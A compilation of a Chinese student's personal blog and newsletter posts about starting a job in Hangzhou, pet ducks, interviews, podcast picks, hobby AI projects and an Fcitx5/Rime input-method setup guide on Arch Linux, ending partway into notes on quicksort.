单个CPU时，抢占式多任务中任务切换是由相应硬件机制强行终止一个任务再换上另一个任务来实现的；而协作式多任务中是任务自己通过yield，await等特殊操作来主动交出CPU控制权的。

抢占式多任务很容易扩展到多CPU上，因此也能很好得利用并行能力了；但协作式多任务由于只提供了主动交出控制权这样的并发模型，所以也就难以利用多CPU的并行能力了；

那么由上面所说的 “线程->抢占式->并行，“协程->协作式->无法并行” 两个关系来看，难道“多协程是不能并行的多线程”也对？但是！线程的定义中并没有强调“并行”，因此也有不能并行的线程模型！比如由于CPython臭名昭著的GIL(Global Interpreter Lock)，每个解释器线程进入指令分派循环时都需要获取这把锁，因此CPython提供的并发模型就是“线程->抢占式->无法并行，“协程->协作式->无法并行”了，，

当然这些话有些咬文嚼字之嫌，，，毕竟这些概念本来也就不是well-defined的。不过“协作”“抢占”两个概念以及“CPython”的实现这些东西我感觉还是挺有意思的。

很久没有写信了，最近实在有些焦头烂额，原因是：我开始了我的打工生活。

昨天我回家的时候发现，已经没有快递要取了。非常开心，我感到新生活开始进入了正轨，因此决定该写写了。

上上周六经历了人生第一次误机。当时和小陈缠绵磨叽了一整天，晚上还跑去喝了一杯鸡尾酒。本来是九点五十五的飞机，我们颇为自信地喝到八点。然后回家取行李，再去机场——此时就是九点二十五了。值机窗口已经关闭——我们完全忘了坐飞机还要值机这回事。

https://lh3.googleusercontent.com/pw/AIL4fc-3liFqkq1OCMHCKmzX8QJl8aTDsJRQA8lJYNC9CUGfJF-t6QK9aPQnuvONzSJ65K655TITHhl_Kk0AVvnu66AkUje1sUB5Ck6_fsmxPfiLBLh_ipCy4IDNH5J7UJe3koI95LRaLDWBgScwIS-3JoldrA=w659-h1262-s-no?authuser=0

破财消灾，我改签了第二天一大早的飞机。中午到达杭州，我先去西面的友人家里放下行李，然后立即往城东去找住处。对于第一次租房的我来说这房子也不太好找。晚上和家人复盘了一会儿，决定找个月租公寓。于是第三天就顺利了，搬进了一间还不错的公寓。地铁一趟 1h20m，那天坐了三趟。

https://lh3.googleusercontent.com/pw/AIL4fc_sFqoIQ5PISqGuFtFOQk1V1hUePYvOKdO3FvKLGnGBf0omzEyx-h4PiECTqK6cPuX5VbTK2oGp-9-QQ_Of6Khkpzc7jspalmZwzB2sMA-0c3FMHk_pK9uRTAF5bV_6bOcCIV_np2uXWXt7qo9yKGplXQ=w947-h1262-s-no?authuser=0

接下来就是入职，然后焦头烂额地购买各种生活用品。每天都要对着淘宝和咸鱼查收快递。公司用的版本管理不是 git，也用不了 Copilot，这又是麻烦事。当然还有配置电脑、熟悉文档、入职培训。。。不一而足。

这一次旅行的心境是很不同的。不是上学、不是旅游，而是真的一个人到陌生城市来打工。一切都要自己处理，即使是洗衣做饭这样平常的家务，以前也是日常做的，到这里来也格外费力——还打破了一个新买的碗。周末试着在杭州逛了逛，不得不说这个气候实在不适合遛街。物价也比大连贵不少。好多次和小陈说，好想回大连。

屋漏逢雨，先前便宜买的 OpenAI 账号用完了，涩图书馆也不得不暂时停运。如果有便宜的账号来源请告诉我！

离开大连之前还高高兴兴地玩了几天。一是考了雅思，二是去玩了桨板，三是和小陈推了一遍《底特律：变人》

小陈发的视频：

https://www.xiaohongshu.com/explore/6497065300000000130365ab

https://www.xiaohongshu.com/explore/6494e73300000000130041e6

桨板实况：

New video by Alice Bob

https://lh3.googleusercontent.com/pw/AIL4fc-FIXbhq_8kCdQfdRzsHAZvv8DxiUF-cuFK8C00QWIsBVMvh0YdLqX84wbw-rgtJWEsqzMSaMS3nKFA4E8qCW4Y4uN13TjN0Nr5hY_yiT6mazs27r7R2-Z4dJR6lbsA3xQ-rAWkIsGVQgfy9VlI04doJQ=w963-h1262-s-no?authuser=0

在杭州的第一个周末，去了小河直街、大马弄，和 Morpheus 酒馆：

11 new items by Alice Bob

我第二次在地铁站遇到这对奇特的组合。一个是中国老头，另一个是金发红脖的白人老头。

中国老头有些瘦小，一侧腿脚不便，走路一瘸一拐。他戴一顶军绿色鸭舌帽，手里提着一只塑料袋，里面装着四五个白面馒头。

白人老头高高壮壮，看来应该健康，带一只略显老旧的单肩帆布包，挺大。

二人都戴着口罩。中国老头露出鼻子，声音有些沙哑。白人老头则紧密遮住半个面庞，有些气喘，声音略尖。两人在地铁站末端等车，一边谈笑。

这二人是谁？是做什么的？是什么关系？如何结识？要去哪里？我不得而知。

信息食谱 ​

软件 ​

https://github.com/antfu/sd-webui-qrcode-toolkit

封装成插件的 QRcode ControlNet！

文章 ​

精神上的糖尿病：信息过载却总是恐惧错过 | 搜信源 - 知乎

小红书是当下时代精神的样本吗？

在大学里，消失的这三年

播客 ​

vol.393 我在澳洲当按摩师，攒了60万

vol.384 我在德国赌场当荷官

vol.399 我们想用这些沟通难题难为黄执中，没难住

第一次听无聊斋的节目，很上头。

S2E6 垃圾

第一次听重轻的节目，也很上头。那段 KPM 1000 一下子就让我想起年初流行的这个流浪地球2配乐标题。

跳进兔子洞: 系统与人01丨如何「炒股」高考志愿？

跳进兔子洞: 系统与人02丨在大学里，消失的这三年

254 银行买手：单伟建谈收购深圳发展银行往事

255 政海轶闻：程潜与民国政治中的湖南派系

256 从瓦格纳谈私人军事服务商（PMC）今昔

当时第二天是要考雅思的。我硬着头皮熬到结局出炉。

谢谢阅读！

Beautyyu 言醴

是两只鸭子🦆。当时，我家多了两只鸭子。

我深感震撼。两只鸭子是小鸭子，室友逛早市的时候从市场买来的，或许是一种冲动消费。两只鸭子放在一个大纸箱子📦里，箱子底部垫了一半的毛巾，另一半放着水碗和饭碗。箱子顶上又用毛巾盖住一半，两只小鸭子就在阴影里，抱作一团，瑟瑟发抖。

而我家，是一个三猫家庭。

我对室友说，希望明天起床能看到这两只小鸭子还在。室友说，没关系，它们已经友好地来过，和新住民打过招呼了。

两只小鸭子分别叫“沃”、“你真的会瘦”。这两个名字就和主人的身世一样随意而不经考量。这是室友在回家的出租车椅背上看到的广告。这两个名字，一个过于简短模糊、另一个又冗长拗口，因此我们从未用名字叫过小鸭子。其实我们也分不清这两个名字分别属于哪只鸭子，毕竟它们是同一品种的绿头鸭。但它们确实是有名字的。

第二天，它们依然在纸箱子里，精神还略好了一点。第三天也是。每天回家我都会去看望一眼小鸭子，然后欣慰地说：“还没被吃掉”。室友幽怨地表示，如果它们遭遇不测，那一定是我干的。室友悉心照料小鸭子，还给它们买了大笼子和饲料。尽管室友在冲动消费后曾懊恼地表示：宁愿它们活不大。

但它们确实健康地长大了，以肉眼可见的速度。长大的鸭子有两大变化，一是更能叫唤、二是更能拉屎。

它们和其他鸟类一样能叫唤，在天亮的时候叫得尤欢。现在我们家是一个三猫两鸭家庭，每天夜里总是生机盎然。室友不堪其扰，到夜里就把鸭笼子换到远离人烟的地方。原先是在客厅，于是先搬到餐厅，再然后是搬到厨房。我想下次大抵是要进锅子了，不过这一天终究没等到。

拉屎倒不是长大后才这么能拉，但成长使得它们拉屎的力和量都变大了。白天鸭子们在阳台，笼子周围半米是难以接近的。晚上鸭子们进了屋子，似乎多少也就有所节制。但不论如何，家里总会浮着一层或浓或淡的鸭味。

室友每天都给鸭子换屎垫子，同时也把它们放出笼子活动活动。但它们不会活动太久，因为同时参与活动的还有卡卡。卡卡是一只花猫。

当它看见鸭子出笼了，便高兴地凑上前去。两只鸭子也一打激灵，四条小腿使劲蹬起来。它们先是从笼子往客厅跑，然后再从客厅跑回笼子，一头钻进笼子里去。室友关上栅栏门，今天鸭子们和卡卡的活动时间就结束了。

两只鸭子越长越大，笼子也放不下了。到了春末夏初，室友决定将它们放生到劳动公园。

第二天，我和小陈在劳动公园转了转，池塘上有几只绿头鸭漂游着。但我们没有找到“沃”、“你真的会瘦”。

操作系统本身是如何在多个 CPU 上并行的、是如何通过共享的 memory 管理自己的状态、又是如何管理并行 process 的、如何在逻辑上阻塞而物理上不占用资源（trap、sleeplock）、如何不阻塞地处理并发 IO (decoupling)… 操作系统的每个子问题似乎都对应计算机科学中的一大类问题，的确是一个核心的领域。

期末周到了，被迫分出许多精力处理各种大作业 DDL 和期末考试。趁机学习了一下 Nuxt.js 作为数据库大作业的框架（是的这个数据库大作业被我用来写前端了）。配合了 Vuetify 作为页面框架，以及 TiDB Cloud 的 Chat to query 功能，蹭了一把 ChATgPt。

报名了雅思考试，感觉对自己的口语还有点没底…

和小陈在雷暴雨天往海边的山上跑，偶遇雷暴雨中钓鱼的人类

Youtube & 小红书

错过了 ospp 的截止期限，我要吐槽一下“没有修改也要修改”的系统设定…

和小陈在爬山的时候撞上一张巨大的蜘蛛网和蜘蛛，又刷到一个“广东早教益智游戏”，以至于晚上做了噩梦。

ibuki🎮🎲🔭帰宅部

昨晚梦见蹲在地上撸猫 然后一堆蟑螂悄无声息地爬到身上 站起来发现全是蟑螂 吓醒了 我的意思是这个沉浸式恐怖体验的成本是0元

beautyyuyanli@mastodon.online on Twitter

看来追求沉浸式体验最快捷的方法不是 Vision Pro 还是别的什么文化消费，而是做梦。

最近每天尝试做三件事情，「迭代已有产品，学日语，以及预研新产品」感觉压力还是蛮大的，最后发现，如果是以「时间长度」的方式切分每天的任务，是可以很轻松的安排很多事情的，但如果是以「任务进度」的方式来安排事情，我的舒适区是 1 件事，基本上全力以赴搞完一件事情后，就完全没脑力搞其他的了

kevinzhow on Twitter

也很符合我的状态，我想这是个分配精力的注意原则。

用我自己的语言解释的话。 时间复杂度的概念是：当你文本数据规模为n时，你检索耗时的方程…这个只取决于你的遍历方式。 跟它喜不喜欢吃CPU其实是两个概念。 复杂度描述的是数据翻倍时的时间耗时规模，做performance测量的是n=1时的基数。

YaaMe.Z on Twitter

这个讨论改变了我对“性能”的认知。自打接受算法竞赛的训练以来，我就一直以为时间复杂度和性能是一码事，然而并不能这么看。现在想来，时间复杂度衡量的是程序的“长度”，而 ”CPU” 衡量的是程序的“宽度”。

内容平台的核心逻辑不是把创作者的内容卖给观众，而是把观众卖给创作者

b 站好像没想明白这一点，所以终端变现一直是个痛；而抖音，我怀疑最终形态是买量 + 带货

内容付费和平台补贴会一直存在，但对于平台来说都属于混个吆喝不指望做大的业务

毒猫鸡汤简称毒鸡汤🤔 on Twitter

信息食谱 ​

视频 ​

https://www.youtube.com/watch?v=WflBIbpeLKQ

看了最近挺火的这个 Vision Pro 测评，钟文泽表现的激动和热情很有感染力。不过感觉钟文泽跟何同学长得有点像是怎么回事…

【XIA看 总第130期】对于等待，你们一无所知_哔哩哔哩_bilibili

瞎看时过多年居然更新了！如今似乎很常见的电影重命名解说，现在想来似乎就是从瞎看开始的。这期节目主观感受比原先质量差一些，不过什么能比恢复更新更重要呢。

【洛天依乐正绫】白石溪2023【原创曲PV付】_哔哩哔哩_bilibili

同样是青回作品。刚开始还没听出是白石溪。

文章 ​

AI 生成可扫码图像 — 新 ControlNet 模型展示

很酷炫的一个 ControlNet，将二维码转化为艺术作品，并且可以扫描！不过作者并没有公开发布这个 ControlNet，或许将来会作为一个商业产品发布。

Python Decorator: Enhance Your Code With Wrapping Wizardry

Python 魔法！

如果羊膜动物和两栖动物全部灭绝，鱼类还可能重新登陆吗? - 知乎

播客 ​

晚点聊 LateTalk 35: 别做近视手术、干眼症没救、给眼镜多花钱没用：和英国视光医生聊聊天

最近换了一幅新眼镜，顺便听了这期播客。

商业就是这样: Vol.113 “新一线”十年，中国城市大改变

250 大转型：漫谈德国社民党的百年得失

247 赛车经济、铁幕内外与F1的伟大复兴

251 与伯樵漫谈帝制时代的科举取士

商业就是这样: Vol.114 可持续是大公司的面子工程吗？

日常记录 ​

21 new items by Alice Bob

举头三尺有神明

举头三尺有神明

https://lh3.googleusercontent.com/pw/AJFCJaVWuhBlZdF5t-k7X1ChziEz9EXNMPqP1ZfhcXCaFF38342qB4T4Xis4WDFI_LAwrTNFomaq_KfusCGoI6Vw06NdAnuK_5sbZiBawN_ISmt8-eLkBmCZdED9q4snKP1USec_Bq7NnJleusTwoYpegGlYyw=w1280-h720-s-no?authuser=0

荒弃小院

荒弃小院

圆月

圆月

富国山夜景

富国山夜景

https://lh3.googleusercontent.com/pw/AJFCJaWPWV1BfKIyEoLCmR9hixDAoAK3b10lFgdHLA_uiKBz1whokH__NOckK8BxAnfdwM3YgLhh0JIXCslz3qULTut2SUJm_qYc1kOXatHTdDeuHDnexxSdEztqtYGl_Q1pJ2GFPFcuz5XYRU8iQXnBCb-ELQ=w960-h1280-s-no?authuser=0

出墙玫瑰

出墙玫瑰

近海玫瑰

近海玫瑰

一款有点失败的牛油果面包

一款有点失败的牛油果面包

回收♻

回收♻

街角的咖啡馆

街角的咖啡馆

俩猫一纸盒

俩猫一纸盒

门外的繁华

门外的繁华

https://lh3.googleusercontent.com/pw/AJFCJaVPPeoke0GVhEaaOE97VqVCwOIltyERK32ymCFC4Q-UzpFkjMCSlyUJsRzwUV6akcA7SU2co_tqpaqOAUPNPnQ2QdqrrMm-P4KzppJSexRrt0pjeHbz_26lkljGcOgffOk-gdHlGLsXrZs-OPvZcjUtWA=w1190-h1586-s-no?authuser=0

花爱人

花爱人

传说中的血腥玛丽，味道像番茄牛肉汤

传说中的血腥玛丽，味道像番茄牛肉汤

一家很棒的鸡尾酒吧

一家很棒的鸡尾酒吧

似乎是有些历史的铁路局的楼

似乎是有些历史的铁路局的楼

冰块里有彩虹

冰块里有彩虹

不知道是谁在树眼里塞的

不知道是谁在树眼里塞的

困惑猫咪

困惑猫咪

这两周由于生病的缘故，没有做什么事情。过多的早八也消耗了太多的体力和心力。

前两周的周三，我一早起来准备上课。当时我在教室感到时不时的一阵腹痛。我不以为意，以为是没吃早饭引起的。当时吃过早饭后便缓解了许多，我也以为不过是偶然的难受。

周四晚上当我回家吃饭时，同样的阵痛再次发生了。比前一天更加不好受，小陈告诉我可能是肚子堵了。周五早上实在难受地疼醒了，下楼买了泻药。但情况并不是便秘，腹泻也没能缓解疼痛。下午我以为好些了，便出门散散步，甚至还吃了一碗炒酸奶。傍晚还是去了医院急诊。

急诊挂的是普通外科的号，医生只是确认了一下疼痛的位置，认为大概只是偶然的功能性障碍。然而他还是给我开了血液检查和彩超。血液检查只是抽了两管血就完成了，倒是彩超排了好久队伍。最终血液检查发现了炎症，开了一周分量的左氧氟沙星。

腹痛的情况有所好转，但到了又一个周三，同样是早八上课，我却感到肩背酸痛，喉咙有些发硬。睡眠也由于赶早八而有所不足，中午和小陈吃午饭时都睁不开眼了。周四肩背酸痛有所缓解，但喉咙更紧了。到了周五，喉咙终于哑了。再然后就是些许的咳嗽。

虽然没有测试过，但考虑到室友感染了新冠，我大约也是第二次感染了新冠。所幸这次感染影响不大，我也没有专门服药。

新的 vlog！油管 & 小红书

https://www.youtube.com/shorts/FJ7_qcengMg

https://www.youtube.com/shorts/MbOWxLC_2eU

这周小陈觉得自己行了，所以喝了不少酒。第一次喝了獭祭，该说是名不虚传吧，这款清酒入口甘醇无味，没有一点酒精的刺激感，入喉以后才有其清香的回甘。

昨天喝到的一款威士忌又与之相反，从头到尾都是浓烈的香气与热辣，只可惜我不知道名字（嘿嘿）。

两款有气泡的酒

百利甜兑乌龙茶

最近还整理了一下自己的信息管理方式，包括整理了 RSS 订阅源和记账方式。

我订阅的日报类 RSS (OPML 格式)

不记账的个人财务管理说明书

信息食谱 ​

文章 ​

Writing Python like it’s Rust

Rust 以其严格的类型定义而著称，这种严格预防了很多种类的 Bug，编码体验也叫人又爱又恨。Python 又是一种动态类型语言，在最近的版本中大幅加强了类型定义的功能。所以本文介绍了如何像写 Rust 一样写 Python，可以在一定程度上用 Python 获得 Rust 的体验。

Why the super rich are inevitable

本文提供了交互式的网页程序，解释了巨大的贫富差距是如何产生的。看似公平的制度和相同的概率游戏，却总是使得富者越富穷者越穷，其中的玄妙在于：同样的筹码对于穷人来说风险更高。

请问如何判断一个动词后是加 to do，还是加 doing？ - 知乎

「虚与委蛇」中的「蛇」为什么读yi? - 知乎

播客 ​

跳进兔子洞: 乐园01丨 关于「一日男友」的幻想、沉迷和破灭

跳进兔子洞终于更新了第二季！这个节目的内容与其名字非常契合，总能带着读者跳进不一样的世界。比如本期节目让我见识到了有本职年入数百万的人会在业余时间当 coser 给“夫人”们造梦…..

245 杨念群谈清代帝王如何重塑“大一统”

大清是一个比今天中国更大的多民族国家，更甚于元。皇帝通过一系列的方法，才能够从本族的军事领袖进一步成为圣人、可汗、活佛等多元文化的共主。

246 战争中的“神药”：盘尼西林入华史

在平台上似乎因其“亲美”叙述而颇有争议，但我认为是很有意思的一段历史。

vol.397 大学相声专业，会统一分配捧哏吗？

“大学读相声专业是一种什么样的体验？”

声东击西: #255 「生长痛」的解药，向外求还是向内求？

生活记录 ​

大海和大船

大海和森林

家楼下的樱桃

家楼下的花朵

午后软饮（含咖啡因）

午后软饮（不含咖啡因）

黑松露鸡肝酱 & 奶酪块撒黑胡椒碎

黑松露鸡肝酱 & 奶酪块撒黑胡椒碎

炸货

我打算更认真地对待自己的周报，因此把周报升级为了 newsletter 。也作为内容创作的进一步尝试。取名「花时来信」，来自超可爱的神里绫华的时装。

小陈给拍的 vlog！第一次体验用视频的方式记录日常（虽然不是自己拍的视频）

https://youtu.be/4AwhiTSjV9c

bilibili | 小红书

我开启了最新的 side project：涩图书馆！

小猫娘~

正如过往某期所说， 我希望设计一个完整的产品。对我来说，我更常做的事情是写一个无 UI 的脚本，或者一个软件包，或者最多是 HTTP API。但一个完整的产品不仅于此。仅论技术层面，一个产品总得有个 UI，有 UI 了就该考虑发布平台，有平台了又要考虑用户注册和登录…

参考 Midjourney 的设计，我选用了 Telegram 作为第一步。此前我只会用简单的 Web 作为前端，且也并不熟悉如何增强跨平台体验；然而 Telegram 的 bot API 我却有过接触，这也简化了用户系统的设计。

至于后端则是我先前体验 API 时写的 Talker。另外我也计划进一步探索 Generative Agent，基于 LangChain 增强这个“虚拟角色” AI 的功能。

GitHub - BeautyyuYanli/Talker: Virtual talker powered by OpenAI GPT

近两周我还探索了 Stable Diffusion 的 LoRA 训练。然而成果并不理想。我首先尝试了 diffuers 库里提供的 LoRA 训练脚本。在我的机器上跑了一天，初显成效，但也仅限于此。最大的问题在于无法在 SD WebUI 上使用，另外我也不知道如何增强这个脚本，以更好地使用 xformers、latent cache 等功能。

另一个尝试是 Kohya WebUI。它支持的功能颇多，但最大的问题出在环境配置上。由于 AI 领域大量的 broken change 以及乱七八糟的版本控制，我始终无法完整地运行这个脚本。我还使用了 conda 作为环境配置工具，但反复实验后仍无法解决环境问题。

所以在 Stable Diffusion 上的探索暂时搁置了。或许我应该租一台单独的云服务器来跑跑。

感谢 AI 社区，让我重新体验了刚学编程时啥都跑不起来的感觉。

最近还参加了学校的考试和实验，有了无数的早八和学校的琐事。不得不说这样耗费心智的活动真是累死了。还好有小陈在身边。

5月15日，惊闻陈皓先生突发心梗去世。他是一个很棒的前辈，从他的博文中我学到了许多软件工程方面的方法，包括 vim 也是看他的博文入门的。另外也曾在一场 Twitter Space 的交流中听取了他对被动收入的看法：从专业角度出发，把专业做成自己的被动收入。尽管他在推特上有些观点似乎有些保守，但我仍然认为他是一位良师，也曾想过要应聘 MegaEase 的工作。

看到伊洪已经备份了他的推文，也有人准备用他的数据结合 AI 设计“数字永生”。希望他会喜欢这样的“永生”。

也要告诫自己，要注意身体健康。

信息食谱 ​

很难想象忽左忽右怎么做得到如此高产又高质的。。

242 铁幕游戏：俄罗斯方块出苏联记

基于电影讲述了俄罗斯方块这款游戏的“出苏联记”，节目本身就像电影一样跌宕起伏。未来或许会找电影来看看。

244 谍海轶闻｜漫谈五角大楼泄密案与美国情报外包体系

想起高中时搞竞赛的机房就是学校的监控室。有人搞到监控密码，偷看班级早读的情形，还往学校大群里发照片炫耀。

商业就是这样: Vol.110 小历史 | 1985，上海地铁国际招标暗战

生动地讲述了商业谈判桌上的争锋相对与老奸巨猾。

243 与陆大鹏漫谈19世纪印度的沦亡、兵变与反抗

237 石油大国联合自愿减产的背后

从“胜利日”到“耻辱日”：俄乌战争如何重置反法西斯胜利的记忆 - 端传媒 - 最新

日常记录 ​

曾经的蜜蜂

和当下的鸽子

图书馆英雄

橙汁咖啡

相亲角

禁止玩游戏

另外，在五一期间的生活我整理到了这个相册中：

25 new items by Alice Bob

• 用 Bento 做了一个新主页

  Beautyyu 言醴

• 读了 xv6 manual 第二章

• 整理了一下播客的 RSS 源，给忽左忽右报了 bug

• 在声动胡同的邮件里看到的全球电台，给交了两个 pr

  Radio Garden

• 出门逛了逛夜间的码头

  • 相片

    

    

    

• 和小陈溜达

  • 相片

    

    

    

  • 路过了一个高级温泉旅馆

    被保安赶了出来，说不接待女宾🧐

• 看了瞬息全宇宙

  让人感到大脑过载的作品，上次还是诺兰的 TENET。不愧是拿了奥斯卡的影片。

信息食谱 ​

商业就是这样: Vol.108 “五常牌”大米

#16 一场播客后期的吐槽大会

29 你喜欢的东西里，藏着你人生的秘密|海外女生历险记03

碎碎念 ​

• 又有作业和考试，好烦，，，
• 真受不住早八

• 美团复活赛。因为手头上有进度了所以有点佛系。。
• 收到朝夕光年的 offer 了。当初 a 手爆雷的时候我还写文章批判了一下管人经济，现在给幕后黑手打工来了。
• 网易雷火的笔试打算翘了。这么晚才开估计是没有 HC 吧。不如跟小陈约会。
• 继续研究 LangChain 和 Generative Agent，交了几个 PR。得做点东西出来。
• 收到了一个 AI 团队的邀请！很开心能被人发现自己的工作。
• 给 https://github.com/yihong0618/shanbay_remember 重构了一下逻辑，把扇贝的 API 剥离出来。被邀请做了 collaborator，第一次给别人做 collaborator！打算给小陈部署上这个。
• 美团联系了二面，但是是移动端开发的部门，于是就拒了。
• 去学校上了几个早八，好累，，，

听了什么 ​

• 忽左忽右: 239 法老与种族主义：漫谈古埃及热今昔
• 商业就是这样: Vol.107 我们一直不是很懂泡泡玛特

• 折腾了一下 Rime 的雾凇拼音

  Archlinux + Gnome 中文输入法解决方案：Fcitx5 + Rime Ice 雾凇拼音

• 字节二面也挺流畅的

• 百度二面给我约到早上十点了，希望到时候能起得来

• 在地图上研究了半天没找到百度大连办公室在哪，问了一嘴面试官，他说在腾讯大厦

• 美团终于捞起来了约了面试

• 重构了一下 Talker，用 SQLite 写了存储，把 Model 和 ID 分开了。算是成了一个比较通用的 API

• 和小陈逛了宜家，把看上好久的灯罩给买了

• 在路上碰见的小菜馆，吃了山麻楂包子

• 看了一下 langchain

读了什么 ​

• Generative Agents: Interactive Simulacra of Human Behavior

听了什么 ​

• 238 走出陕北：张维迎回望早年经历与80年代经济思想的形成
• 商业就是这样: Vol.106 B站“赚钱难”背后
• 声东击西: #249 寻找海洋、鲸鲨和一个忘记年龄的自我

看了什么 ​

• 宇宙探索编辑部

  镜头表现和情感表达都很顺畅 尤其是镜头使用了一个第三人称的跟拍视角 给观众产生了代入感。剧情上应该是故意营造了无厘头的逻辑 产生了一个迷幻感。

  唯一的槽点就是最后的这个宇宙秘密双螺旋DNA是个什么东西。。

碎碎念 ​

• 结了个课，感觉又要开始忙学校的事情了
• 在想以后要是读书的话可以读个 HCI 而不是特别工科的东西
• 存算分离架构又一次出现在了 LLM 领域

https://twitter.com/beautyyuyanli/status/1647848682228948992?s=20

1 安装 Fcitx 5 ​

首先需要安装 Fcitx 5 输入法框架：

yay -S fcitx5-im

1.1 配置环境变量 ​

依据 ArchWiki 的指导，我们需要将以下环境变量添加到 /etc/environment 中：

GTK_IM_MODULE=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx

2 安装 Rime ​

安装 Rime 输入法：

yay -S fcitx5-rime

3 安装雾凇拼音 ​

安装 Rime 的中文输入方案雾凇拼音：

yay -S rime-ice-git

3.1 配置以补丁模式启动 ​

依据 AUR 仓库的指导，将以下内容写入 $HOME/.local/share/fcitx5/rime/default.custom.yaml ：

patch:
  # 仅使用「雾凇拼音」的默认配置，配置此行即可
  __include: rime_ice_suggestion:/
  # 以下可根据自己所需进行自定义，仅做参考。
  # 仅针对「雾凇输入法」的定制条目，请在 rime_ice.custom.yaml 中配置
  __patch:
    # 以词定字（上屏当前词组的第一个或最后一个字）
    key_binder/+:
      select_first_character: "bracketleft" # 即 [
      select_last_character: "bracketright" # 即 ]

4 细节处理 ​

4.1 候选词数量 ​

本配置下的候选词数量由 Rime 控制，而非 Ficitx。应在 Rime 的配置中增加 menu/page_size 项目，例如：

patch:
  "menu/page_size": 9

  # 仅使用「雾凇拼音」的默认配置，配置此行即可
  __include: rime_ice_suggestion:/
  # 以下可根据自己所需进行自定义，仅做参考。
  # 仅针对「雾凇输入法」的定制条目，请在 rime_ice.custom.yaml 中配置
  __patch:
    # 以词定字（上屏当前词组的第一个或最后一个字）
    key_binder/+:
      select_first_character: "bracketleft" # 即 [
      select_last_character: "bracketright" # 即 ]

4.2 客制化外观 ​

4.2.1 停用 Gnome 插件

kimpanel (Input Method Panel) 是 Gnome 中常用的输入法统一接口插件，如果你希望用 Fcitx 客制化外观，首先应当关闭这个插件。

4.2.2 启用外观

以我的皮肤配置为例，你可以安装一个外观配置包：

yay -S fcitx5-skin-materia-yanli

然后在 Fcitx 的设置中选取这个外观配置即可。

4.2.3 Emoji 字体配置

客制化外观最主要的目的其实是为了配置一个能够显示 Emoji 的字体，因为多数字体本身并没有 Emoji 的支持，也就无法显示 Emoji 图标。而 Emoji 是雾凇拼音中很常见的候选词。

为实现这个目的，我们将使用字体 alias 来客制化无衬线字体 sans serif（同样的方法也适用于配置其他字体）

Font configuration - ArchWiki

我的配置以思源黑体和 Noto Color Emoji 为例，安装对应的字体：

yay -S adobe-source-han-sans-cn-fonts noto-fonts-emoji

然后编辑字体配置 /etc/fonts/local.conf

<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>sans-serif</family>
    <prefer>
        <family>Source Han Sans CN</family>
        <family>Noto Color Emoji</family>
    </prefer>
  </alias>
  <alias>
    <family>sans</family>
    <prefer><family>sans-serif</family></prefer>
  </alias>
</fontconfig>

这样，字体 alias sans-serif 就会指向 Source Han Sans CN，未找到的字符则 fallback 到 Noto Color Emoji，而 sans 则指向 sans-serif。

可以使用 fc-match 检查一下：

❯ fc-match sans
SourceHanSansCN-Regular.otf: "Source Han Sans CN" "Regular"

最后确认 Fcitx 的设置中使用 Sans Serif 字体即可。

• 买了双徒步鞋，希望春天能多出门走走。

• 看到群里有个校长 bot，快速摸了个书记 bot，后端接到了 Talker 上。

  • 精彩节选

    • 大 工 听 床 师

      

    • 欺 上 瞒 下

      

    • 区 别 对 待

      

• 收到了字节和百度的面试邀请。RocketMQ 那边似乎也还能捞一下。

• 又给小陈读了一遍冬牧场

• 和小陈一起去爬白云山

  • 照片

    

    

    

    

• 字节的面试官格外佛系，看起来不像是招人（躺 过了一面诶嘿嘿

• 百度这边面试也很流畅

读了什么 ​

• 翻开了基督山伯爵

• Generative Agents: Interactive Simulacra of Human Behavior

  来自 Stanford 的实验，让 25 个 AI 生活在一个虚拟小镇里，甚至还组织了一场情人节聚会！

听了什么 ​

• 235 太史公的往事与随想
• 线下录音 | 刘怡、高林谈第一次世界大战的爆发

看了什么 ​

• alternative histories: iconic architecture reimagined in different styles using AI

• 799 CNY, 打扰了

  IKEA & little sun introduce their versatile, solar-powered lamps for daily use

碎碎念 ​

• 吃辣一时爽，第二天就会拉肚子。

• 不止瑞信，瑞士本身也面臨一場危機

  • 瑞士为拯救瑞信付出了太多努力，但这些举措能缓解最新的金融危机吗？

    瑞士財政部長卡琳·凱勒-祖特爾（Karin Keller-Sutter）、央行行長喬丹（Thomas Jordan）和金融監管機構負責人Marlene Amstad先前曾致電瑞銀董事長Colm Kelleher，他們表面上提出了兩種選擇，實際上只有一種選擇： 要麼在沒有機會充分了解瑞士信貸龐大複雜的資產負債表的情況下將其收購，要麼讓瑞士信貸在一場曠日持久的危機中倒閉，瑞銀的高管們擔心這可能會粉碎瑞士作為全球銀行中心的信譽。

听了什么 ​

• 七台 podcast 联合的愚人节节目，还挺好玩的

  声东击西: #开个玩笑：以后长期就这俩新主持算了

做了什么 ​

• 面了美团，面试官很尴尬地告诉我他们要写 Java 的，HR 推的不太对，然后尴尬地做了两道题。

• 面了米忽悠，面试官对着简历上我打的 tag 问每一样的技术原理，我尴尬地说抱歉我只会调 API。不过总体上尴尬程度还是比阿里和美团小一些，毕竟有一部分我还是能答出来的。不过还是挂了。

• 和小陈偶遇了剑玉，还挺上头的一个小玩具。

• 先前求职时忙得头昏，周一才发现 GSoC 投递 proposal 的截止日期就要到了。焦头烂额地找项目然后发现了去年做过的 RocketMQ 有好多新 feature 要做。选了 Python Client 的实现赶工出了 proposal.

• 复习了快排，整理出了一些细节。

  Details of Quick Sort

• 和小陈在夜里溜达见到的，俄建大连市镇厅和大阪新闻社。

  • 照片

    

    

    

• 参加了声动活泼的社群活动，听听别人的春天是什么样的。

  出门录音挑战01：云结伴过春天

碎碎念 ​

• 其实阿里云的面试体验还是很好的，对着我简历上的项目侃侃而谈了好久，但这愈发突出了我没写出快排时的尴尬。。
• 暑实还是没有着落，今年年景实在有些糟糕。。
• 不过玩是玩得开心了，希望下周能够能量充沛。

Two scenarios may cause the worst performance:

1. Array of all the same elements: In this scenario, the pivot element will always be the same as all the other elements in the array. This means that each partition will only remove one element from the array, resulting in a recursive tree with N levels (where N is the number of elements in the array). This gives a worst-case time complexity of O(N^2).
2. Array of already sorted elements: In this scenario, the pivot element will either be the smallest or largest element in the array, depending on the implementation of the algorithm. This will lead to a partition with one sub-array of size 0 and another sub-array of size N-1. This also results in a recursive tree with N levels and worst-case time complexity of O(N^2).

However, the following carefully designed algorithm can prevent the worst performance in the two scenarios. It is also an in-place algorithm, which means the algorithm will use only a small amount of additional memory to perform its operations. Here are the steps:

1. Choose a pivot element. This is a random element in the array.
2. Swap the pivot element and the first element in the array. The first element is the pivot now.
